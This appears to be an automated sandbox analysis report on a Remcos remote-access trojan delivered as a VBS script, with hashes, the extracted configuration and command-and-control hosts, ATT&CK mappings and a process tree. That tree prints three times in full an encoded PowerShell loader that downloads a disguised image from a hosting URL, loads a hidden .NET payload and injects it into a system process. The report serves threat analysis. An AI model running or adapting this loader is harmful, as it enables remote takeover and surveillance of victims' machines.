remcos | 4e66fdbc38893f545b9088331861312e46e612bc9f4f96a9c88b286588680bf9

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18/12/2024, 02:30

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General

Target

4e66fdbc38893f545b9088331861312e46e612bc9f4f96a9c88b286588680bf9.vbs
Size

167KB
MD5

3c217b6a70e1ff5e6ecb71ca0e89644a
SHA1

d158bcee429368797c22f4c2f9a305c2ff37beae
SHA256

4e66fdbc38893f545b9088331861312e46e612bc9f4f96a9c88b286588680bf9
SHA512

38bb4918e229bb83c0f7f4f3ca086253f22197f44887f81dbe4aad019811b91799bc9206155c99906855372cdc0eb09f778913d8d2b59423c3b5e550585672db
SSDEEP

1536:groJZFpjN3Z5cpeYTXOnBodK/fI81ltCwKoAVTmT2xc1k3TjSjjXuw7dk+aojwE3:grorj9Z5ccYKKIIyScjXx7dk+aojD

Score

10^/10

remcos new discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

Extracted

Family

remcos

Botnet

NEW

rem.pushswroller.eu:23101

firewarzone.ydns.eu:23101

sun.drillmmcsnk.eu:23101

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmcghghyrtssxr-7RL1P2
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 10 IoCs

flow	pid	Process
4	1664	WScript.exe
6	1664	WScript.exe
9	1664	WScript.exe
22	4788	powershell.exe
26	4788	powershell.exe
55	5084	wscript.exe
57	3960	powershell.exe
58	3960	powershell.exe
62	3640	wscript.exe
64	4944	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4788	powershell.exe
3960	powershell.exe
4944	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4788 set thread context of 4808	4788	powershell.exe	99
PID 3960 set thread context of 1888	3960	powershell.exe	109

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4788	powershell.exe
4788	powershell.exe
3960	powershell.exe
3960	powershell.exe
4944	powershell.exe
4944	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4788	powershell.exe
Token: SeDebugPrivilege	3960	powershell.exe
Token: SeDebugPrivilege	4944	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4808	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 1664 wrote to memory of 4788	1664	WScript.exe	83
PID 1664 wrote to memory of 4788	1664	WScript.exe	83
PID 4788 wrote to memory of 2736	4788	powershell.exe	94
PID 4788 wrote to memory of 2736	4788	powershell.exe	94
PID 4788 wrote to memory of 4808	4788	powershell.exe	99
PID 4788 wrote to memory of 4808	4788	powershell.exe	99
PID 4788 wrote to memory of 4808	4788	powershell.exe	99
PID 4788 wrote to memory of 4808	4788	powershell.exe	99
PID 4788 wrote to memory of 4808	4788	powershell.exe	99
PID 4788 wrote to memory of 4808	4788	powershell.exe	99
PID 4788 wrote to memory of 4808	4788	powershell.exe	99
PID 4788 wrote to memory of 4808	4788	powershell.exe	99
PID 4788 wrote to memory of 4808	4788	powershell.exe	99
PID 4788 wrote to memory of 4808	4788	powershell.exe	99
PID 5084 wrote to memory of 3960	5084	wscript.exe	106
PID 5084 wrote to memory of 3960	5084	wscript.exe	106
PID 3960 wrote to memory of 1888	3960	powershell.exe	109
PID 3960 wrote to memory of 1888	3960	powershell.exe	109
PID 3960 wrote to memory of 1888	3960	powershell.exe	109
PID 3960 wrote to memory of 1888	3960	powershell.exe	109
PID 3960 wrote to memory of 1888	3960	powershell.exe	109
PID 3960 wrote to memory of 1888	3960	powershell.exe	109
PID 3960 wrote to memory of 1888	3960	powershell.exe	109
PID 3960 wrote to memory of 1888	3960	powershell.exe	109
PID 3960 wrote to memory of 1888	3960	powershell.exe	109
PID 3960 wrote to memory of 1888	3960	powershell.exe	109
PID 3640 wrote to memory of 4944	3640	wscript.exe	112
PID 3640 wrote to memory of 4944	3640	wscript.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4e66fdbc38893f545b9088331861312e46e612bc9f4f96a9c88b286588680bf9.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $concessionaries = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JHVubWF0ZXJuYWxseSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9kenZhaTg2dWgvaW1hZ2UvdXBsb2FkL3YxNzM0MzE1MjQ0L20zZ3RicWt0dm5vY3l2bTQxMGFhLmpwZyc7JGJhZG1pbnRvbiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJvYWRtYWtlciA9ICRiYWRtaW50b24uRG93bmxvYWREYXRhKCR1bm1hdGVybmFsbHkpOyRQaXNjZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcm9hZG1ha2VyKTskY2FwcmlmaWN1cyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYmlydGhlcnMgPSAnPDxCQVNFNjRfRU5EPj4nOyRkaXNwb3NlZGx5ID0gJFBpc2Nlcy5JbmRleE9mKCRjYXByaWZpY3VzKTskcGljdHVyZSA9ICRQaXNjZXMuSW5kZXhPZigkYmlydGhlcnMpOyRkaXNwb3NlZGx5IC1nZSAwIC1hbmQgJHBpY3R1cmUgLWd0ICRkaXNwb3NlZGx5OyRkaXNwb3NlZGx5ICs9ICRjYXByaWZpY3VzLkxlbmd0aDskYmVlZnN0ZWFrID0gJHBpY3R1cmUgLSAkZGlzcG9zZWRseTskcmV0YXBpbmcgPSAkUGlzY2VzLlN1YnN0cmluZygkZGlzcG9zZWRseSwgJGJlZWZzdGVhayk7JGRpcmVjdGlvbnMgPSAtam9pbiAoJHJldGFwaW5nLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRyZXRhcGluZy5MZW5ndGgpXTskYmVpbGQgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRkaXJlY3Rpb25zKTskbG93ZXJjYXNlZCA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGJlaWxkKTskcm9vbWlseSA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRyb29taWx5Lkludm9rZSgkbnVsbCwgQCgnMC9QWHJVSS9yL2VlLmV0c2FwLy86c3B0dGgnLCAnbXVkd2VlZCcsICdtdWR3ZWVkJywgJ211ZHdlZWQnLCAnYXNwbmV0X2NvbXBpbGVyJywgJ211ZHdlZWQnLCdtdWR3ZWVkJywnbXVkd2VlZCcsJ2hhZW1hdGFjaG9tZXRlcicsICdDOlxQcm9ncmFtRGF0YVwnLCdoYWVtYXRhY2hvbWV0ZXInLCd2YnMnLCcxJywnMScsJ1Rhc2tOYW1lJykpO2lmICgkbnVsbCAtbmUgJFBTVmVyc2lvblRhYmxlIC1hbmQgJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgJG51bGwpIHsgW3ZvaWRdJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiB9IGVsc2UgeyBXcml0ZS1PdXRwdXQgJ1Bvd2VyU2hlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlJyB9O2lmICgkbnVsbCAtbmUgJFBTVmVyc2lvblRhYmxlIC1hbmQgJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgJG51bGwpIHsgW3ZvaWRdJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiB9IGVsc2UgeyBXcml0ZS1PdXRwdXQgJ1Bvd2VyU2hlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlJyB9Ow==';$neurologically = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($concessionaries));Invoke-Expression $neurologically
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4788
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\haematachometer.vbs"
    3⤵
    PID:2736
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:4808

C:\Windows\system32\wscript.exe
wscript.exe C:\ProgramData\haematachometer.vbs
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $concessionaries = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JHVubWF0ZXJuYWxseSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9kenZhaTg2dWgvaW1hZ2UvdXBsb2FkL3YxNzM0MzE1MjQ0L20zZ3RicWt0dm5vY3l2bTQxMGFhLmpwZyc7JGJhZG1pbnRvbiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJvYWRtYWtlciA9ICRiYWRtaW50b24uRG93bmxvYWREYXRhKCR1bm1hdGVybmFsbHkpOyRQaXNjZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcm9hZG1ha2VyKTskY2FwcmlmaWN1cyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYmlydGhlcnMgPSAnPDxCQVNFNjRfRU5EPj4nOyRkaXNwb3NlZGx5ID0gJFBpc2Nlcy5JbmRleE9mKCRjYXByaWZpY3VzKTskcGljdHVyZSA9ICRQaXNjZXMuSW5kZXhPZigkYmlydGhlcnMpOyRkaXNwb3NlZGx5IC1nZSAwIC1hbmQgJHBpY3R1cmUgLWd0ICRkaXNwb3NlZGx5OyRkaXNwb3NlZGx5ICs9ICRjYXByaWZpY3VzLkxlbmd0aDskYmVlZnN0ZWFrID0gJHBpY3R1cmUgLSAkZGlzcG9zZWRseTskcmV0YXBpbmcgPSAkUGlzY2VzLlN1YnN0cmluZygkZGlzcG9zZWRseSwgJGJlZWZzdGVhayk7JGRpcmVjdGlvbnMgPSAtam9pbiAoJHJldGFwaW5nLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRyZXRhcGluZy5MZW5ndGgpXTskYmVpbGQgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRkaXJlY3Rpb25zKTskbG93ZXJjYXNlZCA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGJlaWxkKTskcm9vbWlseSA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRyb29taWx5Lkludm9rZSgkbnVsbCwgQCgnMC9QWHJVSS9yL2VlLmV0c2FwLy86c3B0dGgnLCAnbXVkd2VlZCcsICdtdWR3ZWVkJywgJ211ZHdlZWQnLCAnYXNwbmV0X2NvbXBpbGVyJywgJ211ZHdlZWQnLCdtdWR3ZWVkJywnbXVkd2VlZCcsJ2hhZW1hdGFjaG9tZXRlcicsICdDOlxQcm9ncmFtRGF0YVwnLCdoYWVtYXRhY2hvbWV0ZXInLCd2YnMnLCcxJywnMScsJ1Rhc2tOYW1lJykpO2lmICgkbnVsbCAtbmUgJFBTVmVyc2lvblRhYmxlIC1hbmQgJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgJG51bGwpIHsgW3ZvaWRdJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiB9IGVsc2UgeyBXcml0ZS1PdXRwdXQgJ1Bvd2VyU2hlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlJyB9O2lmICgkbnVsbCAtbmUgJFBTVmVyc2lvblRhYmxlIC1hbmQgJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgJG51bGwpIHsgW3ZvaWRdJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiB9IGVsc2UgeyBXcml0ZS1PdXRwdXQgJ1Bvd2VyU2hlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlJyB9Ow==';$neurologically = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($concessionaries));Invoke-Expression $neurologically
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3960
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
    3⤵
    PID:1888

C:\Windows\system32\wscript.exe
wscript.exe C:\ProgramData\haematachometer.vbs
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $concessionaries = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JHVubWF0ZXJuYWxseSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9kenZhaTg2dWgvaW1hZ2UvdXBsb2FkL3YxNzM0MzE1MjQ0L20zZ3RicWt0dm5vY3l2bTQxMGFhLmpwZyc7JGJhZG1pbnRvbiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJvYWRtYWtlciA9ICRiYWRtaW50b24uRG93bmxvYWREYXRhKCR1bm1hdGVybmFsbHkpOyRQaXNjZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcm9hZG1ha2VyKTskY2FwcmlmaWN1cyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYmlydGhlcnMgPSAnPDxCQVNFNjRfRU5EPj4nOyRkaXNwb3NlZGx5ID0gJFBpc2Nlcy5JbmRleE9mKCRjYXByaWZpY3VzKTskcGljdHVyZSA9ICRQaXNjZXMuSW5kZXhPZigkYmlydGhlcnMpOyRkaXNwb3NlZGx5IC1nZSAwIC1hbmQgJHBpY3R1cmUgLWd0ICRkaXNwb3NlZGx5OyRkaXNwb3NlZGx5ICs9ICRjYXByaWZpY3VzLkxlbmd0aDskYmVlZnN0ZWFrID0gJHBpY3R1cmUgLSAkZGlzcG9zZWRseTskcmV0YXBpbmcgPSAkUGlzY2VzLlN1YnN0cmluZygkZGlzcG9zZWRseSwgJGJlZWZzdGVhayk7JGRpcmVjdGlvbnMgPSAtam9pbiAoJHJldGFwaW5nLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRyZXRhcGluZy5MZW5ndGgpXTskYmVpbGQgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRkaXJlY3Rpb25zKTskbG93ZXJjYXNlZCA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGJlaWxkKTskcm9vbWlseSA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRyb29taWx5Lkludm9rZSgkbnVsbCwgQCgnMC9QWHJVSS9yL2VlLmV0c2FwLy86c3B0dGgnLCAnbXVkd2VlZCcsICdtdWR3ZWVkJywgJ211ZHdlZWQnLCAnYXNwbmV0X2NvbXBpbGVyJywgJ211ZHdlZWQnLCdtdWR3ZWVkJywnbXVkd2VlZCcsJ2hhZW1hdGFjaG9tZXRlcicsICdDOlxQcm9ncmFtRGF0YVwnLCdoYWVtYXRhY2hvbWV0ZXInLCd2YnMnLCcxJywnMScsJ1Rhc2tOYW1lJykpO2lmICgkbnVsbCAtbmUgJFBTVmVyc2lvblRhYmxlIC1hbmQgJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgJG51bGwpIHsgW3ZvaWRdJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiB9IGVsc2UgeyBXcml0ZS1PdXRwdXQgJ1Bvd2VyU2hlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlJyB9O2lmICgkbnVsbCAtbmUgJFBTVmVyc2lvblRhYmxlIC1hbmQgJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgJG51bGwpIHsgW3ZvaWRdJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiB9IGVsc2UgeyBXcml0ZS1PdXRwdXQgJ1Bvd2VyU2hlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlJyB9Ow==';$neurologically = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($concessionaries));Invoke-Expression $neurologically
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\haematachometer.vbs

Filesize
167KB

MD5
3c217b6a70e1ff5e6ecb71ca0e89644a

SHA1
d158bcee429368797c22f4c2f9a305c2ff37beae

SHA256
4e66fdbc38893f545b9088331861312e46e612bc9f4f96a9c88b286588680bf9

SHA512
38bb4918e229bb83c0f7f4f3ca086253f22197f44887f81dbe4aad019811b91799bc9206155c99906855372cdc0eb09f778913d8d2b59423c3b5e550585672db

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

Filesize
734B

MD5
e192462f281446b5d1500d474fbacc4b

SHA1
5ed0044ac937193b78f9878ad7bac5c9ff7534ff

SHA256
f1ba9f1b63c447682ebf9de956d0da2a027b1b779abef9522d347d3479139a60

SHA512
cc69a761a4e8e1d4bf6585aa8e3e5a7dfed610f540a6d43a288ebb35b16e669874ed5d2b06756ee4f30854f6465c84ee423502fc5b67ee9e7758a2dab41b31d3

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

Filesize
192B

MD5
f0c5c5242dc7d8a6f461fb69e13baaa2

SHA1
1499f762b3d6b2f66cab5f815be8b0f18a303f04

SHA256
ed581882b5b47bafb65062e36998f49fd751e0024e38e7fa148dada4f736dbc4

SHA512
d3182856478048edffee034891086d5a2b6b430a3917b881324a039e397fd08d55523f2b4e589aa6c9f9597bd633dd2eec57a18678c4f2b5d0c0935e5a0167e1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3252889f4565915b711a7d7ce646d0ac

SHA1
c10c7f47fb558fbfd5117ce5124e7c9b68b48b42

SHA256
a351ae006ef808b74be134893e9727b08d309a5d060525c3e36b0ae897616009

SHA512
6cd749982de265ee3edc50d812e573b3ec4ae9555a01728a9943cd3214aa52216a1d23f17215d45fee6031acd84c1a7063281ae02f481500404dd5f4c20b27a3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\XH3Z2ZON\LDDIb[1].txt

Filesize
77KB

MD5
ea91e5a559cf86c5cc019abc9f4bd827

SHA1
c4d9d354cde9689da348b6db214b35a1c1a807bf

SHA256
a1dc46e1455acf53be3a11104d1930152a3b223aac8a520da0a6a4e370842308

SHA512
0603463b0fcdaeede0f600d098d2ba7a99ed1d446f6b9476558575cca5da18a9808f4fe1420831b831d5bc4adc6152d5ad5b697e7c33cecbbec00d27bf2c4a10

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d4940c77f4f23ba97f559e4283f54ef2

SHA1
d9e1406079ae8c6df9c1b2a1631771f810bf41ac

SHA256
e9d6d43d6e3682aef38a7723276d7c0d008b87e1cad9ffff375752410276f66f

SHA512
65f2d29da520ece95dbcb9a9b38ada72360503a82e86acc8c6292e1e2c24177a591d10f6fdc915f29bb665c6d8f6dc77ec7f70c089ba49548467ec16a7c84b82

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ff8d4f129e351029813efb6d33daa2ab

SHA1
fbf854cd3e3490fcc1f12a86ccc03463d8741dcb

SHA256
46258e3cb6db7da267c64fd17b116b09bd906c6ecf8e9e3d81e327c2cae9b735

SHA512
1516167234e85fd72fcabc5b6a80e8555482dd80f5e3d72d415fd3992379a0834c4750e071cea96af799ca56363ab763d36af30a806bb534a904faed44f51c04

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3dkiihig.ncn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1888-64-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4788-23-0x00007FFA37910000-0x00007FFA383D1000-memory.dmp

Filesize
10.8MB

Download
memory/4788-6-0x00007FFA37913000-0x00007FFA37915000-memory.dmp

Filesize
8KB

Download
memory/4788-16-0x0000018A5D630000-0x0000018A5D652000-memory.dmp

Filesize
136KB

Download
memory/4788-17-0x00007FFA37910000-0x00007FFA383D1000-memory.dmp

Filesize
10.8MB

Download
memory/4788-30-0x00007FFA37910000-0x00007FFA383D1000-memory.dmp

Filesize
10.8MB

Download
memory/4788-18-0x00007FFA37910000-0x00007FFA383D1000-memory.dmp

Filesize
10.8MB

Download
memory/4788-19-0x00007FFA37910000-0x00007FFA383D1000-memory.dmp

Filesize
10.8MB

Download
memory/4788-24-0x0000018A76120000-0x0000018A762CA000-memory.dmp

Filesize
1.7MB

Download
memory/4788-20-0x00007FFA37913000-0x00007FFA37915000-memory.dmp

Filesize
8KB

Download
memory/4788-21-0x00007FFA37910000-0x00007FFA383D1000-memory.dmp

Filesize
10.8MB

Download
memory/4788-22-0x00007FFA37910000-0x00007FFA383D1000-memory.dmp

Filesize
10.8MB

Download
memory/4808-35-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4808-29-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4808-44-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4808-42-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4808-38-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4808-37-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4808-36-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4808-34-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4808-31-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4808-43-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4808-65-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4808-66-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4808-67-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4808-68-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4808-26-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4808-82-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4808-81-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download